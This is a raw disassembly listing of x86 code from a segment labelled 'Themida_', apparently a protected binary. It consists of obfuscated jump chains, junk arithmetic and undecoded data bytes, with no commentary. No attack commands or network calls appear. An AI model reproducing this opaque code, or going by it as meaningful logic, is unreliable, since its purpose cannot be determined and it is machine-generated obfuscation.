loc_51E69C:				; CODE XREF: Themida_:00522351j
		pop	esp

loc_51E69D:				; CODE XREF: Themida_:0051D74Dj
					; Themida_:00520DB5j
		push	4821h
		mov	[esp], edx
		mov	edx, esp
		push	1EC5h
		mov	[esp], ebx
		mov	ebx, 6E530F45h
		xchg	ebp, ebx
		neg	ebp
		xchg	ebp, ebx
		xor	ebx, 91ACF0BFh
		jmp	loc_51DCDF
; ---------------------------------------------------------------------------
aHP		db ']h',1Bh,'p',0
		dw 8900h
		dd 74FF240Ch, 46E90424h, 83FFFFB9h, 15E904ECh, 81FFFFE3h
		dd 7B199FC3h, 0C3815D45h, 8070C300h, 4245C29h, 57241C8Bh
		dd 0B951E789h, 35131982h, 0DEE94941h, 87FFFF72h, 36E92434h
		dd 0B3FFFF67h, 77E38030h, 0FEC0F380h, 1CF380CBh, 8CEE9h
		dd 14895C00h, 0C092E924h, 3C87FFFFh, 24248B24h,	0FCBEE953h
		dd 0D829FFFFh, 0D922F205h, 0C6015B43h, 0FFF5A5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51E741:				; CODE XREF: Themida_:00517F1Bj
		pop	edi
		jmp	loc_51106A
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0F344E0CBh, 48BC701h, 2ECEE924h, 0CAFEFFFFh,	0F6D58851h
		dd 59EA88D5h, 88D78853h, 0F65A5BFDh, 52C5FED5h,	0FFE16BE9h
		dd 24048BFFh, 5E08950h,	4, 0FFEB00E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51E781:				; CODE XREF: Themida_:0051DE99j
		pop	ebp
		jmp	loc_52062F
; ---------------------------------------------------------------------------
		db 81h
		dd 0D76968C6h, 9EEE8113h, 123E47Bh, 0E3E95EF7h,	1FFFF3Dh
		dd 7D2EE9F3h, 0FB89FFFFh, 5BDD095Fh, 2D26F581h,	0BA521750h
		dd 2616534Ch, 0FF2690E9h, 0E9C7FEFFh, 48DEh
; ---------------------------------------------------------------------------

loc_51E7C0:				; CODE XREF: Themida_:0051B9C6j
		push	eax
		mov	eax, 3F4672ECh
		jmp	loc_51BCF1
; ---------------------------------------------------------------------------

loc_51E7CB:				; CODE XREF: Themida_:005180A5j
		push	dword ptr [esp]
		pop	ecx
		push	593Eh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		push	edx
		push	esi
		mov	esi, 22A11CFDh
		jmp	loc_51B5F7
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0E1h
		dd 4138E957h, 77FFFFFFh, 2F88E93Ch, 1C890000h, 445ABB24h
		dd 0C14B1636h, 0DBF703EBh, 72EB8143h, 68FD3937h, 1EFCh
		dd 0BB241C89h, 446C17A3h, 0E95BD901h, 0FFFF2DD0h
; ---------------------------------------------------------------------------

loc_51E82C:				; CODE XREF: Themida_:00513DA7j
		add	ebx, edx
		pop	edx
		add	ebx, ecx
		push	ebp
		mov	ebp, 5DFF62B5h
		sub	ebx, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_520390
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5D0424h, 248B2404h, 0EBAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_51C7FB
; ---------------------------------------------------------------------------
		dw 0DE31h
		dd 0DE31F331h, 0FF20BCE9h, 2CE958FFh, 0BAFFFF44h, 4, 0FFC127E9h
		dd 86E958FFh, 0BEFFFF53h, 63A0622Ah, 622EF681h,	0F10163A0h
		dd 4BD555Eh, 1000000h, 0B3EE9E9h, 0B60F0000h, 0D44EE9C0h
		dd 0D488FFFFh, 5A2434FFh, 46F5E957h, 0CD010000h, 514C581h
		dd 81591B9Bh, 2C5h, 73066800h, 2C890000h, 2474FF24h, 2434FF04h
		dd 0E289525Dh, 4C281h, 0C2830000h, 1087E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51E8E6:				; CODE XREF: Themida_:00511712j
		mov	ebx, 1B4C51A7h
		push	eax
		mov	eax, ebx
		mov	ecx, eax
		jmp	loc_518D1C
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4EE8300h, 8B243487h, 14892424h, 0D016B624h, 1D49E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51E912:				; CODE XREF: Themida_:0051D36Aj
		push	449h
		mov	[esp], ebp
		mov	ebp, 4E982061h
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_50F884
; ---------------------------------------------------------------------------
		db 1, 0D6h, 51h
		dd 0FF5F8BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51E931:				; CODE XREF: Themida_:005239A0j
		inc	esi
		add	esi, 288AD786h
		sub	edx, esi
		jmp	loc_51AB3E
; ---------------------------------------------------------------------------
		db 1
		dd 4EC83CFh, 0FF8DEAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51E949:				; CODE XREF: Themida_:0051B8FBj
		push	ebp
		push	ecx
		mov	ecx, 2CE85960h
		mov	ebp, 907ABF59h
		sub	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, 60960117h
		or	eax, 2E102948h
		jmp	loc_511BAD
; ---------------------------------------------------------------------------
		dd 8324348Bh, 9FE904ECh, 55FFFF27h, 0EDE9CD89h,	0FFFFFFDFh
		dd 685B2434h, 84Ah, 89240C89h, 4BB53E1h, 1000000h, 0C1815BD9h
		dd 4, 24A1E9h
		db 0
; ---------------------------------------------------------------------------

loc_51E99D:				; CODE XREF: Themida_:005247CEj
		add	ebp, esi
		jmp	loc_524D8E
; ---------------------------------------------------------------------------
		dd 4BDh, 1C18100h, 8159EC2Eh, 7C5E30C1h, 0E9E90153h, 2004h
		dd 5C243487h, 0E9241C89h, 0FFFF7BD9h, 0E011F781h, 0FD019BC4h
		dd 0FF5D31E9h, 84055DFFh, 1569175h, 75842DF0h, 34FF5691h
		dd 0E9565E24h, 0FFFFFBD7h, 0C581E589h, 4, 0E902C583h, 0FFFF23A1h
		dd 0BFE9F831h, 58FFFF2Bh, 0FF65F381h, 0BD555F30h, 3CEB78DDh
		dd 6A9EE981h, 0E9296FE0h, 6A9EC181h, 2C8B6FE0h,	4C48324h
		dd 0C181D901h, 3CEB78DDh
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, 46A91D42h
		add	ebp, ecx
		sub	ebp, 46A91D42h
		pop	ecx
		jmp	loc_519571
; ---------------------------------------------------------------------------
		dw 0F5Ch
aHt		db '¾Èhâ:',0
		dw 0E900h
		dd 40EDh, 5104EC83h, 0FFC35CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51EA69:				; CODE XREF: Themida_:00511779j
		push	edx
		mov	dl, 5Dh
		jmp	loc_51E2F9
; ---------------------------------------------------------------------------

loc_51EA71:				; CODE XREF: Themida_:0051EACAj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 7D6C0BB7h
		mov	esi, ebx
		pop	ebx
		xor	esi, 3C7A3060h
		push	ebx
		jmp	loc_51B35C
; ---------------------------------------------------------------------------

loc_51EA8C:				; CODE XREF: Themida_:0051354Bj
		pop	eax
		add	ebp, eax
		jmp	loc_51206B
; ---------------------------------------------------------------------------
		dd 2959CA01h, 72EA81EAh, 0FF565A0Ah, 685D2434h,	4963h
		dd 5073E9h
		db 0
; ---------------------------------------------------------------------------

loc_51EAAD:				; CODE XREF: Themida_:005224F2j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_51EA71
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4243B850h, 0EA810749h, 3C9E57F2h, 0C281C201h, 3C9E57F2h
		dd 8324048Bh, 0BF5704C4h, 5207679Ch, 3CB6C781h,	1FE900F7h
		dd 0FEFFFF1Fh, 9F9CE9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51EB02:				; CODE XREF: Themida_:005109C1j
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		db 0ADh
		dd 17EBF57h, 0F8293097h, 0FFB9CAE9h, 20F505FFh,	7E93A2Ah
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51EB1F:				; CODE XREF: Themida_:0051AFEBj
		push	eax
		jmp	loc_516924
; ---------------------------------------------------------------------------

loc_51EB25:				; CODE XREF: Themida_:0051AEF8j
		mov	ebp, esp
		jmp	loc_51A656
; ---------------------------------------------------------------------------
		dd 1810EA81h, 3C8B57E2h, 0C83E924h, 0E957FFFFh,	0FFFF2BA7h
		dd 0E9E80166h, 0FFFF59A5h, 23517705h, 0A2BE563Ah, 812A9C7Bh
		dd 47FD94EEh, 5EF029D6h, 0FFEDDDE9h, 5DA468FFh,	1C8B4A77h
		dd 4C48124h, 0E9000000h, 0FFFF8624h, 241C8966h,	0E904EC83h
		dd 0FFFF5BCBh, 81FE015Bh, 17555CC6h, 23DAE94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51EB8E:				; CODE XREF: Themida_:0051B669j
		shr	ebp, 6
		sub	ebp, 931BB672h
		and	esi, ebp
		pop	ebp
		jmp	loc_51FCB6
; ---------------------------------------------------------------------------

loc_51EB9F:				; CODE XREF: Themida_:0051B52Ej
		add	dword ptr [esp+4], 0C9667AEh
		add	[esp+4], eax
		push	509Eh
		mov	[esp], eax
		mov	eax, 0C9667AEh
		sub	[esp+8], eax
		pop	eax
		jmp	loc_511DAE
; ---------------------------------------------------------------------------

loc_51EBC2:				; CODE XREF: Themida_:0051757Dj
		add	ebp, 68C010A8h
		jmp	loc_521679
; ---------------------------------------------------------------------------

loc_51EBCD:				; CODE XREF: Themida_:00523CDEj
		mov	ebp, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_52141B
; ---------------------------------------------------------------------------
		dd 421FE950h, 3B35FFFFh, 310FBC27h, 24048BC5h, 0E904C483h
		dd 0FFFFE620h, 47BCBA52h, 0D5016056h, 5ED4E9h, 0EEE68100h
		dd 812D8C39h, 0D6F0C8EEh, 8EEE810Ch, 81650B47h,	0CC5D16E6h
		dd 5A4CE95Bh, 0EC81FFFFh, 4, 0BE243489h, 73727897h, 7893F681h
		dd 0F0297372h, 0E924348Bh, 0FFFFD51Eh, 58E9EB01h, 0FF00005Ah
		dd 34FF2434h, 1CAEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51EC5E:				; CODE XREF: Themida_:00515208j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_517DF0
; ---------------------------------------------------------------------------
		dw 5059h
		dd 4B8h, 0BFE98100h, 16C2929h, 0BFC181C1h, 0E96C2929h
		dd 41E3h
; ---------------------------------------------------------------------------

loc_51EC8C:				; CODE XREF: Themida_:005177D4j
		xor	edi, eax
		jmp	loc_515D12
; ---------------------------------------------------------------------------

loc_51EC93:				; CODE XREF: Themida_:00521E97j
		sub	eax, 0DD825AFDh
		add	ebx, eax
		jmp	loc_51D8A4
; ---------------------------------------------------------------------------
		db 5Ah
		dd offset dword_4B185C+78Dh
		dd 24348B00h, 4C481h, 0E9810000h, 2D573758h, 0C181D101h
		dd 2D573758h, 2C1835Ah,	8B240C87h, 0CFE2424h, 3DE99C24h
		dd 1FFFF0Ah, 0E9042474h, 0FFFFCA80h, 81243489h,	772B2434h
		dd 0C8B161Fh, 4C48324h,	772BF181h, 8151161Fh, 21982434h
		dd 48B1E5Ah, 4C48324h, 5A219835h, 240C8B1Eh, 1850E9h, 0E6F68100h
		dd 8135E94Bh, 0D539C0CEh, 2EEC161h, 133AB951h, 0CE21128Dh
		dd 249CE9h, 24148B00h, 4C481h, 0EB810000h, 23637FBAh, 0C381FB29h
		dd 23637FBAh, 83243C8Bh, 8F6604C4h, 9C2E900h, 6468FFFFh
		dd 0E9000022h, 0FFFF19C7h, 1C8BDF89h, 4C48124h,	51000000h
		dd 5615E9h, 61EE8100h, 0C13D3C12h, 814606EEh, 8E7FB6EEh
		dd 5D4BE9AEh, 0D029FFFFh, 0CF37652Dh, 31C2311Ah, 58C231D0h
		dd 2208EA81h, 0D6011040h, 2BD555Ah, 1000000h, 0AB685DEEh
		dd 8900003Fh, 74FF2434h, 8F5E0424h, 665C2404h, 0E99CC885h
		dd 0FFFF0958h, 895FFD29h, 4C685DEBh, 8900004Ah,	75BD242Ch
		dd 0E9279406h, 0FFFF9DEFh
; ---------------------------------------------------------------------------

loc_51EDCC:				; CODE XREF: Themida_:00519F62j
		mov	ebp, [esp]
		push	2474h
		mov	[esp], eax
		jmp	loc_5106F3
; ---------------------------------------------------------------------------

loc_51EDDC:				; CODE XREF: Themida_:0051A75Bj
		pop	eax
		jmp	loc_51669E
; ---------------------------------------------------------------------------
		dw 805Ah
		dd 0F4E984EBh, 50FFFF4Dh, 405E089h, 0E9000000h,	2C75h
		dd 0C581F501h, 46227706h, 5E2434FFh, 0FF7D03E9h, 81E189FFh
		dd 4C1h, 2C18100h, 87000000h, 0C05C240Ch, 0E98004E9h, 8BC830F1h
		dd 8956240Ch, 4C681E6h,	83000000h, 348704C6h, 0EC815C24h
		dd 4, 0E9240C89h, 0DA8h, 8B243C33h, 8B662424h, 0CA68240Ch
		dd 8900000Ch, 0E589242Ch, 348B5456h, 4C48124h, 81000000h
		dd 4C6h, 0A7B4E900h, 0ED81FFFFh, 3AB96323h, 199FEB81h
		dd 0EB81457Bh, 5F950110h, 0C381EB01h, 5F950110h, 0FFF852E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51EE8D:				; CODE XREF: Themida_:00510252j
		pop	edi
		xor	eax, edx
		pop	edx
		push	eax
		mov	eax, 831B83h
		sub	ebx, 54F04BAFh
		sub	ebx, 1FF43C42h
		sub	ebx, eax
		jmp	loc_51E195
; ---------------------------------------------------------------------------

loc_51EEAA:				; CODE XREF: Themida_:0051F7C4j
		sub	esi, 4B4136C6h
		add	esi, ebp
		add	esi, 4B4136C6h
		jmp	loc_51BF1E
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 68h
		dd 0E960865Bh, 0FFFFDD9Bh
; ---------------------------------------------------------------------------

loc_51EEC8:				; CODE XREF: Themida_:00515300j
		sub	ecx, esi
		add	ecx, 5C5A01D4h
		jmp	loc_51F0E2
; ---------------------------------------------------------------------------
		db 0ADh, 68h, 12h
		dd 0E9000014h, 0FFFF1FC8h, 50E38853h, 0E188DC88h, 241C8B58h
		dd 4C481h, 80580000h, 0E180F2C1h, 5F1809Ch, 28BBC380h
		dd 712E9CBh, 4870000h, 5A30E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51EF0E:				; CODE XREF: Themida_:005177F9j
		mov	edx, 360F3558h
		neg	edx
		xor	edx, 0C5D362Ch
		push	edx
		jmp	loc_521B5A
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 37h
		dd 895E5384h, 5512E9F8h, 68550000h, 32BAh, 0FD4E9h, 0FFD32100h
		dd 835A2434h, 0EB8104C4h, 6ED20C9h, 0C1E3D143h,	0E95707E3h
		dd 0AD4h, 0FF07B3E9h, 0C12959FFh, 0FF6552E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51EF61:				; CODE XREF: Themida_:0051F102j
		sub	edx, 6316DDh
		mov	ebx, edx
		jmp	loc_514239
; ---------------------------------------------------------------------------
		dw 535Ah
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch,	0BBE9243Ch
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51EF87:				; CODE XREF: Themida_:0051F347j
		and	eax, ebx
		jmp	loc_5153BB
; ---------------------------------------------------------------------------

loc_51EF8E:				; CODE XREF: Themida_:0051D45Fj
		sub	ecx, 3FB953B4h
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_5228BA
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0E99C241Ch, 0FFFF0738h, 5FFB315Fh, 1C8BD831h, 4C48124h
		dd 66000000h, 0C3E930FFh, 0FEFFFF79h, 9EEFE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51EFF2:				; CODE XREF: Themida_:00511AECj
		add	eax, 4
		add	eax, 4
		jmp	loc_524F34
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 4CE92434h, 2DFFFFD6h, 304B4CD1h, 0A043142Dh
		dd 0E9D02970h, 201Bh
; ---------------------------------------------------------------------------

loc_51F020:				; CODE XREF: Themida_:00516CF5j
		push	eax
		jmp	loc_522ABA
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 41880AC4h, 0FF8A94E9h, 0C8B66FFh, 4EC8124h, 89000000h
		dd 32682434h, 89000017h, 0BF572424h, 4,	4247C01h, 0ACD7E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F056:				; CODE XREF: Themida_:00521F57j
		sub	edx, 7F7B0E71h
		add	edx, ebp
		add	edx, 7F7B0E71h
		jmp	loc_521799
; ---------------------------------------------------------------------------
		db 89h,	0E9h, 5Dh
		dd 0E9C1D9F7h, 81D1F708h, 932C67C9h, 73C1814Ah,	295A85C1h
		dd 59CFE9CDh, 48FFFFFh,	0B9C2E924h, 0C381FFFFh,	37D64DADh
		dd 0FFFE943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F09A:				; CODE XREF: Themida_:00522F4Bj
		mov	ecx, [esp]
		push	406Bh
		jmp	loc_523DF3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48124h, 0E9000000h, 0FFFF24DAh
; ---------------------------------------------------------------------------

loc_51F0B8:				; CODE XREF: Themida_:00514208j
		shl	ecx, 2
		add	ecx, 9145C518h
		jmp	loc_515EAF
; ---------------------------------------------------------------------------
		dw 48BEh
		dd 0F733867Ch, 2EEC1D6h, 0FF25D9E9h, 240489FFh,	1D6E68h
		dd 83DCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F0E2:				; CODE XREF: Themida_:0051EED0j
		pop	esi
		push	edi
		mov	edi, 48C7411Eh
		add	ecx, edi
		pop	edi
		add	edi, ecx
		pop	ecx
		push	ebx
		push	edx
		push	43C06CAFh
		pop	edx
		sub	edx, 5C86250Ch
		not	edx
		shr	edx, 6
		jmp	loc_51EF61
; ---------------------------------------------------------------------------
		db 68h
		dd 2C8Dh, 0BA241489h, 60C12BDCh, 0FF4F0BE9h, 0E9DAF7FFh
		dd 0FFFF1FB4h, 5C241C87h, 0FFF779E9h, 4BC381FFh, 0C1176279h
		dd 9CE902EBh, 53000056h, 2705D2BBh, 9DE94319h, 66FFFF82h
		dd 0C168665Ah, 14896641h, 613AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F152:				; CODE XREF: Themida_:00512650j
		xor	edi, 3DDBFCE7h
		add	ebx, edi
		jmp	loc_512377
; ---------------------------------------------------------------------------
		db 81h
		dd 0C509E0C1h, 0FC18140h, 1C98629h, 0D02959C8h,	0FF3284E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51F175:				; CODE XREF: Themida_:005115BDj
		pop	ebx
		jmp	loc_521D97
; ---------------------------------------------------------------------------
		db 83h
		dd 895104C4h, 4C181E1h,	53000000h, 4BBh, 5BD92900h, 31DFE9h
		dd 0E4055A00h, 5271F521h, 40FE9h, 2434FF00h, 4C48358h
		dd 4CECE957h, 0C1810000h, 4, 2C181h, 77E90000h,	89000023h
		dd 0E954242Ch, 0FFFF1DD7h
; ---------------------------------------------------------------------------

loc_51F1C8:				; CODE XREF: Themida_:0051A3A0j
		pop	edx
		pop	dword ptr [esp]
		not	edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		jmp	loc_5178E4
; ---------------------------------------------------------------------------

loc_51F1D9:				; CODE XREF: Themida_:00511D95j
		pop	esp
		pop	edi
		add	ebp, 4
		sub	esp, 4
		jmp	loc_524FF0
; ---------------------------------------------------------------------------
		dd 6804C483h, 53DCh, 56241489h,	0FFBBAEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51F1FD:				; CODE XREF: Themida_:0051D5A1j
		mov	bh, 0E6h
		mov	ch, bh
		pop	ebx
		jmp	loc_5132C8
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 0D1C58100h, 157615Dh, 1BB951DDh, 0E90FA432h, 0FFFFD34Eh
		dd 20E0E581h, 0E5812187h, 4A0F420Eh, 27C8E581h,	0AAE95C36h
		dd 0C1FFFFA8h, 0C58108EDh, 384A71C2h, 815DE989h, 861DECC9h
		dd 25C1815Dh, 83434747h, 0E98101C1h, 0AAAFBFBh,	7FE95150h
		dd 31000044h, 5313E9EAh, 0C4810000h, 4,	0FFC8E8E9h, 1FC668FFh
		dd 1C890000h, 18A76824h, 815B2A02h, 0A63CDFF3h,	0F8B0E918h
		dd 0B9FFFFh, 81580A2Ch,	0D36FACF1h, 0BCA6E91Bh,	5A66FFFFh
		dd 0FF409EE9h, 4C181FFh, 0E9000000h, 0FFFF3D19h
; ---------------------------------------------------------------------------

loc_51F2AC:				; CODE XREF: Themida_:00514F4Bj
		mov	[esp], eax
		mov	eax, 6827804h
		add	ebp, eax
		pop	eax
		mov	ebx, [esp]
		jmp	loc_50F9C6
; ---------------------------------------------------------------------------

loc_51F2BF:				; CODE XREF: Themida_:00521568j
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_522E59
; ---------------------------------------------------------------------------
		dw 489h
		dd 0EC835324h, 24048904h, 0FFF1EAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51F2DD:				; CODE XREF: Themida_:00510439j
		pop	ebp
		push	edx
		jmp	loc_51D7E1
; ---------------------------------------------------------------------------
		dd 243C335Ah, 400FE9h, 1C77FF00h, 6658669Dh, 9C240419h
		dd 0FF4E03E9h, 0CDED81FFh, 5F6A6C33h, 8B242C87h, 0CD32424h
		dd 4EE99C24h, 8100004Eh, 4C3h, 4EB8300h, 0F53E9h, 1C875900h
		dd 0E1E95C24h
		db 3, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F32B:				; CODE XREF: Themida_:005182C9j
		add	esp, 4
		shl	ebx, 1
		not	ebx
		sub	ebx, 0FFFFFFFFh
		and	ebx, 0A1371C5h
		shr	ebx, 4
		sub	ebx, 811604h
		jmp	loc_51EF87
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9810000h, 2, 0E9240C87h, 0F3Eh
; ---------------------------------------------------------------------------

loc_51F360:				; CODE XREF: Themida_:0051172Aj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_50F70C
; ---------------------------------------------------------------------------

loc_51F37C:				; CODE XREF: Themida_:00516E21j
		push	7ECBh
		mov	[esp], edi
		push	esi
		xor	dword ptr [esp], 15E135C8h
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51AF8E
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 43h
		dd 0B8FFFF41h, 46AA509Eh, 2182BF57h, 0F78106A4h, 15EE77DCh
		dd 4D5FFD89h, 0F702E5C1h, 540E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F3C2:				; CODE XREF: Themida_:00512D2Cj
		mov	ecx, 7A3923F1h
		jmp	loc_51CD6D
; ---------------------------------------------------------------------------
		dd 0D664066h, 0D16600FEh, 0A42D66E8h, 0E9556618h, 0FFFFD359h
		dd 74FF515Dh, 8F590424h, 248B2404h, 243C8724h, 8924248Bh
		dd 9C502414h, 4D37E9h, 80E18100h, 81248531h, 107843C1h
		dd 4E9C17Fh, 0FFD03BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51F411:				; CODE XREF: Themida_:00518AADj
		inc	dword ptr [esp]
		pop	ebx
		neg	ebx
		add	ebx, 479625E6h
		push	ecx
		mov	ecx, 3FE8CA9Ah
		xor	ebx, ecx
		pop	ecx
		sub	eax, 73394F51h
		jmp	loc_524E95
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 4C481h, 1FE90000h, 0FFFFFFDAh, 0E9592434h
		dd 0A54h, 23BB5356h, 81094B35h,	0D1A70F3h, 5BDE8976h, 835EF701h
		dd 0C4E904ECh
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_51F463:				; CODE XREF: Themida_:0051504Bj
		sub	ecx, 0C01365Ch
		push	ebx
		mov	ebx, 591931D4h
		jmp	loc_516F32
; ---------------------------------------------------------------------------
		dd 0BD59CE89h, 3BAE442Eh, 348BF529h, 4C48124h, 81000000h
		dd 9F04E3C5h, 5766E959h, 0EFC1FFFFh, 0EAF78107h, 2934A3C5h
		dd 0A4EE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51F4A2:				; CODE XREF: Themida_:00514DCEj
		mov	[esp], ecx
		jmp	loc_52333F
; ---------------------------------------------------------------------------

loc_51F4AA:				; CODE XREF: Themida_:0051BFC0j
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_514A03
; ---------------------------------------------------------------------------

loc_51F4C5:				; CODE XREF: Themida_:00511CD0j
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		shl	ebp, 7
		add	ebp, 3FCF6541h
		push	edi
		mov	edi, 7A1553D2h
		dec	edi
		shl	edi, 6
		jmp	loc_51B12C
; ---------------------------------------------------------------------------
		db 68h,	69h, 38h
		dd 0E95B2246h, 0FFFFC18Ah, 4C5835Ch, 5C242C87h,	7689E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F4FE:				; CODE XREF: Themida_:0051A66Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	78Ch
		mov	[esp], ebx
		push	eax
		push	edi
		mov	edi, 1Ch
		mov	eax, edi
		pop	edi
		push	eax
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		push	45D2h
		mov	[esp], edx
		mov	edx, 2B76482Ch
		push	ecx
		mov	ecx, 65E0B34h
		sub	ebx, ecx
		jmp	loc_51B436
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 0FFA0A4E9h, 4C181FFh, 81000000h, 4C1h, 240C8700h, 0D9BA525Ch
		dd 81451976h, 65E9F6C2h, 652E9C6h, 555FFFFFh, 5DBA5257h
		dd 0BF413524h, 7A695866h, 0E95AD731h, 0FFFFFB8Bh, 160F6857h
		dd 0C15F050Bh, 0E7D107EFh, 0FFCFF0E9h, 3D9568FFh, 24890000h
		dd 24048124h, 4, 0FFE0BBE9h, 0C1E945FFh, 5B000052h, 0E95EF329h
		dd 0FFFFCDEFh, 0F95E52BAh, 0C3CA8173h, 0F721C43Fh, 5833E9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F5C2:				; CODE XREF: Themida_:00523377j
		dec	esi
		or	esi, 4B0A01C3h
		xor	esi, 0E8A1E6D4h
		sub	edi, esi
		pop	esi
		push	edi
		jmp	loc_5169A1
; ---------------------------------------------------------------------------
		dd 18E9DFF7h, 100004Ah,	52505AD7h, 210DE9h
		db 0
; ---------------------------------------------------------------------------

loc_51F5E9:				; CODE XREF: Themida_:00519855j
		pop	edi
		xor	[esp+4], edi
		mov	edi, [esp]
		jmp	loc_516B91
; ---------------------------------------------------------------------------

loc_51F5F6:				; CODE XREF: Themida_:0051B856j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_521FB6
; ---------------------------------------------------------------------------

loc_51F606:				; CODE XREF: Themida_:0051789Cj
		mov	ebp, [esp]
		jmp	loc_51DFD0
; ---------------------------------------------------------------------------
		dw 0EC80h
		dd 0E9E50059h, 326Dh, 59BBEB80h, 34FFD800h, 7CDBE924h
		dd 0CD87FFFFh, 0FFA8BFE9h, 243489FFh, 0FB0213BEh, 0C2CE814Fh
		dd 81258B50h, 175496EEh, 0B8E9552Ch, 51FFFFA3h,	9D07EFB9h
		dd 81D9F70Ch, 0A3354E1h, 0BCE94102h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51F65B:				; CODE XREF: Themida_:00524FBAj
		sub	esp, 4
		jmp	loc_517120
; ---------------------------------------------------------------------------

loc_51F666:				; CODE XREF: Themida_:00523E54j
		mov	edx, 20h
		add	edx, edi
		push	ebx
		push	ebp
		mov	ebp, 618A6823h
		shl	ebp, 2
		jmp	loc_515071
; ---------------------------------------------------------------------------
		dd 6ACA68h, 243C8900h, 4BFh, 473FE900h,	2CB80000h, 294A0D11h
		dd 0EC8358C3h, 240C8904h, 0FF89D0E9h, 68E8D0FFh, 4AC8h
		dd 0E9241C89h, 563Ch, 0FF0057E9h, 81C581FFh, 121934Ch
		dd 9BE6E9EBh, 0C481FFFFh, 4, 2C8B5455h,	4C48124h, 57000000h
